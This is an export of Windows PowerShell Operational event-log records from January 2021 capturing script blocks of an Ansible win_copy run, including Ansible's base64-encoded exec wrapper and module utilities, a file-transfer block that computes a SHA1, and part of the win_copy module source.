$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU2V0LVZhcmlhYmxlIikuQWRkUGFyYW1ldGVycyhAe1Njb3BlPSJnbG9iYWwiO05hbWU9ImNvbXBsZXhfYXJncyI7VmFsdWU9JHBheWxvYWQubW9kdWxlX2FyZ3N9KSB8IE91dC1OdWxsCiAgICAkcHMuQWRkQ29tbWFuZCgiT3V0LU51bGwiKSB8IE91dC1OdWxsCgogICAgIyByZWRlZmluZSBXcml0ZS1Ib3N0IHRvIGR1bXAgdG8gb3V0cHV0IGluc3RlYWQgb2YgZmFpbGluZy0gbG90cyBvZiBzY3JpcHRzIHVzZSBpdAogICAgJHBzLkFkZFN0YXRlbWVudCgpLkFkZFNjcmlwdCgiRnVuY3Rpb24gV3JpdGUtSG9zdChg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AtYW5kICRwcy5TdHJlYW1zLkVycm9yLkNvdW50IC1ndCAwKSkgewogICAgICAgICRob3N0LlVJLldyaXRlRXJyb3JMaW5lKCQoJHBzLlN0cmVhbXMuRXJyb3IgfCBPdXQtU3RyaW5nKSkKICAgICAgICAkZXhpdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.Legacy": "IyBDb3B5cmlnaHQgKGMpLCBNaWNoYWVsIERlSGFhbiA8bWljaGFlbC5kZWhhYW5AZ21haWwuY29tPiwgMjAxNCwgYW5kIG90aGVycwojIFNpbXBsaWZpZWQgQlNEIExpY2Vuc2UgKHNlZSBsaWNlbnNlcy9zaW1wbGlmaWVkX2JzZC50eHQgb3IgaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9CU0QtMi1DbGF1c2UpCgpTZXQtU3RyaWN0TW9kZSAtVmVyc2lvbiAyLjAKJEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICJTdG9wIgoKRnVuY3Rpb24gU2V0LUF0dHIoJG9iaiwgJG5hbWUsICR2YWx1ZSkKewo8IwogICAgLlNZTk9QU0lTCiAgICBIZWxwZXIgZnVuY3Rpb24gdG8gc2V0IGFuICJhdHRyaWJ1dGUiIG9uIGEgcHNvYmplY3QgaW5z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udWFsbHkKICAgIE5vdGUgdGhhdCBpZiB5b3UgdXNlIHRoZSBmYWlsaWZlbXB0eSBvcHRpb24sIHlvdSBkbyBuZWVkIHRvIHNwZWNpZnkgcmVzdWx0b2JqZWN0IGFzIHdlbGwuCiM+CiAgICAjIENoZWNrIGlmIHRoZSBwcm92aWRlZCBNZW1iZXIgJG5hbWUgb3IgYWxpYXNlcyBleGlzdCBpbiAkb2JqIGFuZCByZXR1cm4gaXQgb3IgdGhlIGRlZmF1bHQuCiAgICB0cnkgewoKICAgICAgICAkZm91bmQgPSAkbnVsbAogICAgICAgICMgRmlyc3QgdHJ5IHRvIGZpbmQgcHJlZmVycmVkIHBhcmFtZXRlciAkbmFtZQogICAgICAgICRhbGlhc2VzID0gQCgkbmFtZSkgKyAkYWxpYXNlcwoKICAgICAgICAjIEl0ZXJhdGUgb3ZlciBhbGlhc2VzIHRvIGZpbmQgYWNjZXB0YWJsZSBNZW1iZXIgJG5hbWUKICAgICAgICBmb3JlYWNoICgkYWxpYXMgaW4gJGFsaWFzZXMpIHsKICAgICAgICAgICAgaWYgKCRvYmouQ29udGFpbnNLZXkoJGFsaWFzKSkgewogICAgICAgICAgICAgICAgJGZvdW5kID0gJGFsaWFzCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgIC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AgICAgICAgICAgaWYgKFRlc3QtUGF0aCAtSXNWYWxpZCAkKEAoR2V0LVBTRHJpdmUgLVBTUHJvdmlkZXIgRmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAg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2luZyBvZiBzY3JpcHRzCklmICgtbm90KEdldC1BbGlhcyAtTmFtZSAiR2V0LWF0dHIiIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlKSkKewogICAgTmV3LUFsaWFzIC1OYW1lIEdldC1hdHRyIC1WYWx1ZSBHZXQtQW5zaWJsZVBhcmFtCn0KCkZ1bmN0aW9uIENvbnZlcnRUby1Cb29sCnsKPCMKICAgIC5TWU5PUFNJUwogICAgSGVscGVyIGZpbHRlci9waXBlbGluZSBmdW5jdGlvbiB0byBjb252ZXJ0IGEgdmFsdWUgdG8gYm9vbGVhbiBmb2xsb3dpbmcgY3VycmVudAogICAgQW5zaWJsZSBwcmFjdGljZXMKICAgIC5FWEFNUExFCiAgICAkaXNfdHJ1ZSA9ICJ0cnVlIiB8IENvbnZlcnRUby1Cb29sCiM+CiAgICBwYXJhbSgKICAgICAgICBbcGFyYW1ldGVyKHZhbHVlZnJvbXBpcGVsaW5lPSR0cnVlKV0KICAgICAgICAkb2JqCiAgICApCgogICAgJGJvb2xlYW5fc3RyaW5ncyA9ICJ5ZXMiLCAib24iLCAiMSIsICJ0cnVlIiwgMQogICAgJG9ial9zdHJpbmcgPSBbc3RyaW5nXSRvYmoKCiAgICBpZiAoKCRvYmogLWlzIFtib29sZWFuXSAtYW5kICRvYmopIC1vciAkYm9vbGVhbl9zdHJpbmdzIC1jb250YWlucyAkb2JqX3N0cmluZy5Ub0xvd2VyKCkpIHsKICAgICAgICByZXR1cm4gJHRydWUKICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuICRmYWxzZQogICAgfQp9CgpGdW5jdGlvbiBQYXJzZS1BcmdzKCRhcmd1bWVudHMsICRzdXBwb3J0c19jaGVja19t
ScriptBlock ID: 3b4402a7-27a5-439d-bb32-fa1e868b2045
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1581 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4724 | 5096 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:41 AM | dfeadd90-ee34-0003-12ef-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1580 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4724 | 4968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:41 AM | dfeadd90-ee34-0000-a9eb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4724 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1579 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4724 | 4048 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:41 AM | dfeadd90-ee34-0000-a9eb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1578 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4724 | 4968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:41 AM | dfeadd90-ee34-0000-a9eb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
begin {
$path = 'C:\Users\Admin\AppData\Local\Temp\ansible-tmp-1611042820.02-126761106234016\source'
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
$fd = [System.IO.File]::Create($path)
$sha1 = [System.Security.Cryptography.SHA1CryptoServiceProvider]::Create()
$bytes = @() #initialize for empty file case
}
process {
$bytes = [System.Convert]::FromBase64String($input)
$sha1.TransformBlock($bytes, 0, $bytes.Length, $bytes, 0) | Out-Null
$fd.Write($bytes, 0, $bytes.Length)
}
end {
$sha1.TransformFinalBlock($bytes, 0, 0) | Out-Null
$hash = [System.BitConverter]::ToString($sha1.Hash).Replace("-", "").ToLowerInvariant()
$fd.Close()
Write-Output "{""sha1"":""$hash""}"
}
ScriptBlock ID: baf695f1-0e32-4911-a87e-ed297a06c290
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1577 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4916 | 808 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:40 AM | dfeadd90-ee34-0001-fb27-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1576 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4916 | 3772 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:40 AM | dfeadd90-ee34-0005-b8f2-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4916 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1575 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4916 | 4972 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:40 AM | dfeadd90-ee34-0005-b8f2-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1574 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4916 | 3772 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:40 AM | dfeadd90-ee34-0005-b8f2-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1573 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1928 | 1676 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:40 AM | dfeadd90-ee34-0000-a4eb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 1928 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1572 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1928 | 888 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:40 AM | dfeadd90-ee34-0000-a4eb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1571 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1928 | 1676 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:40 AM | dfeadd90-ee34-0000-a4eb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1570 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4500 | 592 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:40 AM | dfeadd90-ee34-0001-f427-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4500 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1569 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4500 | 2456 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:40 AM | dfeadd90-ee34-0001-f427-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1568 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4500 | 592 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:40 AM | dfeadd90-ee34-0001-f427-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#!powershell
# Copyright: (c) 2015, Jon Hawkesworth (@jhawkesworth) <figs@unity.demon.co.uk>
# Copyright: (c) 2017, Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
#Requires -Module Ansible.ModuleUtils.Legacy
$ErrorActionPreference = 'Stop'
$params = Parse-Args -arguments $args -supports_check_mode $true
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
$diff_mode = Get-AnsibleParam -obj $params -name "_ansible_diff" -type "bool" -default $false
# there are 4 modes to win_copy which are driven by the action plugins:
# explode: src is a zip file which needs to be extracted to dest, for use with multiple files
# query: win_copy action plugin wants to get the state of remote files to check whether it needs to send them
# remote: all copy action is happening remotely (remote_src=True)
# single: a single file has been copied, also used with template
$copy_mode = Get-AnsibleParam -obj $params -name "_copy_mode" -type "str" -default "single" -validateset "explode","query","remote","single"
# used in explode, remote and single mode
$src = Get-AnsibleParam -obj $params -name "src" -type "path" -failifempty ($copy_mode -in @("explode","process","single"))
$dest = Get-AnsibleParam -obj $params -name "dest" -type "path" -failifempty $true
# used in single mode
$original_basename = Get-AnsibleParam -obj $params -name "_original_basename" -type "str"
# used in query and remote mode
$force = Get-AnsibleParam -obj $params -name "force" -type "bool" -default $true
# used in query mode, contains the local files/directories/symlinks that are to be copied
$files = Get-AnsibleParam -obj $params -name "files" -type "list"
$directories = Get-AnsibleParam -obj $params -name "directories" -type "list"
$symlinks = Get-AnsibleParam -obj $params -name "symlinks" -type "list"
$result = @{
changed = $false
}
if ($diff_mode) {
$result.diff = @{}
}
Function Copy-File($source, $dest) {
$diff = ""
$copy_file = $false
$source_checksum = $null
if ($force) {
$source_checksum = Get-FileChecksum -path $source
}
if (Test-Path -Path $dest -PathType Container) {
Fail-Json -obj $result -message "cannot copy file from '$source' to '$dest': dest is already a folder"
} elseif (Test-Path -Path $dest -PathType Leaf) {
if ($force) {
$target_checksum = Get-FileChecksum -path $dest
if ($source_checksum -ne $target_checksum) {
$copy_file = $true
}
}
} else {
$copy_file = $true
}
if ($copy_file) {
$file_dir = [System.IO.Path]::GetDirectoryName($dest)
# validate the parent dir is not a file and that it exists
if (Test-Path -Path $file_dir -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy file from '$source' to '$dest': object at dest parent dir is not a folder"
} elseif (-not (Test-Path -Path $file_dir)) {
# directory doesn't exist, need to create
New-Item -Path $file_dir -ItemType Directory -WhatIf:$check_mode | Out-Null
$diff += "+$file_dir\`n"
}
if (Test-Path -Path $dest -PathType Leaf) {
Remove-Item -Path $dest -Force -Recurse -WhatIf:$check_mode | Out-Null
$diff += "-$dest`n"
}
if (-not $check_mode) {
# cannot run with -WhatIf:$check_mode as if the parent dir didn't
# exist and was created above would still not exist in check mode
Copy-Item -Path $source -Destination $dest -Force | Out-Null
}
$diff += "+$dest`n"
$result.changed = $true
}
# ugly but to save us from running the checksum twice, let's return it for
# the main code to add it to $result
return ,@{ diff = $diff; checksum = $source_checksum }
}
Function Copy-Folder($source, $dest) {
$diff = ""
$copy_folder = $false
if (-not (Test-Path -Path $dest -PathType Container)) {
$parent_dir = [System.IO.Path]::GetDirectoryName($dest)
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy file from '$source' to '$dest': object at dest parent dir is not a folder"
}
if (Test-Path -Path $dest -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy folder from '$source' to '$dest': dest is already a file"
}
New-Item -Path $dest -ItemType Container -WhatIf:$check_mode | Out-Null
$diff += "+$dest\`n"
$result.changed = $true
}
$child_items = Get-ChildItem -Path $source -Force
foreach ($child_item in $child_items) {
$dest_child_path = Join-Path -Path $dest -ChildPath $child_item.Name
if ($child_item.PSIsContainer) {
$diff += (Copy-Folder -source $child_item.Fullname -dest $dest_child_path)
} else {
$diff += (Copy-File -source $child_item.Fullname -dest $dest_child_path).diff
}
}
return $diff
}
Function Get-FileSize($path) {
$file = Get-Item -Path $path -Force
$size = $null
if ($file.PSIsContainer) {
$dir_files_sum = Get-ChildItem $file.FullName -Recurse
if ($dir_files_sum -eq $null -or ($dir_files_sum.PSObject.Properties.name -contains 'length' -eq $false)) {
$size = 0
} else {
$size = ($dir_files_sum | Measure-Object -property length -sum).Sum
}
} else {
$size = $file.Length
}
$size
}
Function Extract-Zip($src, $dest) {
$archive = [System.IO.Compression.ZipFile]::Open($src, [System.IO.Compression.ZipArchiveMode]::Read, [System.Text.Encoding]::UTF8)
foreach ($entry in $archive.Entries) {
$archive_name = $entry.FullName
# FullName may be appended with / or \, determine if it is padded and remove it
$padding_length = $archive_name.Length % 4
if ($padding_length -eq 0) {
$is_dir = $false
$base64_name = $archive_name
} elseif ($padding_length -eq 1) {
$is_dir = $true
if ($archive_name.EndsWith("/") -or $archive_name.EndsWith("`\")) {
$base64_name = $archive_name.Substring(0, $archive_name.Length - 1)
} else {
throw "invalid base64 archive name '$archive_name'"
}
} else {
throw "invalid base64 length '$archive_name'"
}
# to handle unicode character, win_copy action plugin has encoded the filename
$decoded_archive_name = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64_name))
# re-add the / to the entry full name if it was a directory
if ($is_dir) {
$decoded_archive_name = "$decoded_archive_name/"
}
$entry_target_path = [System.IO.Path]::Combine($dest, $decoded_archive_name)
$entry_dir = [System.IO.Path]::GetDirectoryName($entry_target_path)
if (-not (Test-Path -Path $entry_dir)) {
New-Item -Path $entry_dir -ItemType Directory -WhatIf:$check_mode | Out-Null
}
if ($is_dir -eq $false) {
if (-not $check_mode) {
[System.IO.Compression.ZipFileExtensions]::ExtractToFile($entry, $entry_target_path, $true)
}
}
}
$archive.Dispose() # release the handle of the zip file
}
Function Extract-ZipLegacy($src, $dest) {
if (-not (Test-Path -Path $dest)) {
New-Item -Path $dest -ItemType Directory -WhatIf:$check_mode | Out-Null
}
$shell = New-Object -ComObject Shell.Application
$zip = $shell.NameSpace($src)
$dest_path = $shell.NameSpace($dest)
foreach ($entry in $zip.Items()) {
$is_dir = $entry.IsFolder
$encoded_archive_entry = $entry.Name
# to handle unicode character, win_copy action plugin has encoded the filename
$decoded_archive_entry = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded_archive_entry))
if ($is_dir) {
$decoded_archive_entry = "$decoded_archive_entry/"
}
$entry_target_path = [System.IO.Path]::Combine($dest, $decoded_archive_entry)
$entry_dir = [System.IO.Path]::GetDirectoryName($entry_target_path)
if (-not (Test-Path -Path $entry_dir)) {
New-Item -Path $entry_dir -ItemType Directory -WhatIf:$check_mode | Out-Null
}
if ($is_dir -eq $false -and (-not $check_mode)) {
# https://msdn.microsoft.com/en-us/library/windows/desktop/bb787866.aspx
# From Folder.CopyHere documentation, 1044 means:
# - 1024: do not display a user interface if an error occurs
# - 16: respond with "yes to all" for any dialog box that is displayed
# - 4: do not display a progress dialog box
$dest_path.CopyHere($entry, 1044)
# once file is extraced, we need to rename it with non base64 name
$combined_encoded_path = [System.IO.Path]::Combine($dest, $encoded_archive_entry)
Move-Item -Path $combined_encoded_path -Destination $entry_target_path -Force | Out-Null
}
}
}
if ($copy_mode -eq "query") {
# we only return a list of files/directories that need to be copied over
# the source of the local file will be the key used
$changed_files = @()
$changed_directories = @()
$changed_symlinks = @()
foreach ($file in $files) {
$filename = $file.dest
$local_checksum = $file.checksum
$filepath = Join-Path -Path $dest -ChildPath $filename
if (Test-Path -Path $filepath -PathType Leaf) {
if ($force) {
$checksum = Get-FileChecksum -path $filepath
if ($checksum -ne $local_checksum) {
$will_change = $true
$changed_files += $file
}
}
} elseif (Test-Path -Path $filepath -PathType Container) {
Fail-Json -obj $result -message "cannot copy file to dest '$filepath': object at path is already a directory"
} else {
$changed_files += $file
}
}
foreach ($directory in $directories) {
$dirname = $directory.dest
$dirpath = Join-Path -Path $dest -ChildPath $dirname
$parent_dir = [System.IO.Path]::GetDirectoryName($dirpath)
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy folder to dest '$dirpath': object at parent directory path is already a file"
}
if (Test-Path -Path $dirpath -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy folder to dest '$dirpath': object at path is already a file"
} elseif (-not (Test-Path -Path $dirpath -PathType Container)) {
$changed_directories += $directory
}
}
# TODO: Handle symlinks
$result.files = $changed_files
$result.directories = $changed_directories
$result.symlinks = $changed_symlinks
} elseif ($copy_mode -eq "explode") {
# a single zip file containing the files and directories needs to be
# expanded this will always result in a change as the calculation is done
# on the win_copy action plugin and is only run if a change needs to occur
if (-not (Test-Path -Path $src -PathType Leaf)) {
Fail-Json -obj $result -message "Cannot expand src zip file: '$src' as it does not exist"
}
# Detect if the PS zip assemblies are available or whether to use Shell
$use_legacy = $false
try {
Add-Type -AssemblyName System.IO.Compression.FileSystem | Out-Null
Add-Type -AssemblyName System.IO.Compression | Out-Null
} catch {
$use_legacy = $true
}
if ($use_legacy) {
Extract-ZipLegacy -src $src -dest $dest
} else {
Extract-Zip -src $src -dest $dest
}
$result.changed = $true
} elseif ($copy_mode -eq "remote") {
# all copy actions are happening on the remote side (windows host), need
# too copy source and dest using PS code
$result.src = $src
$result.dest = $dest
if (-not (Test-Path -Path $src)) {
Fail-Json -obj $result -message "Cannot copy src file: '$src' as it does not exist"
}
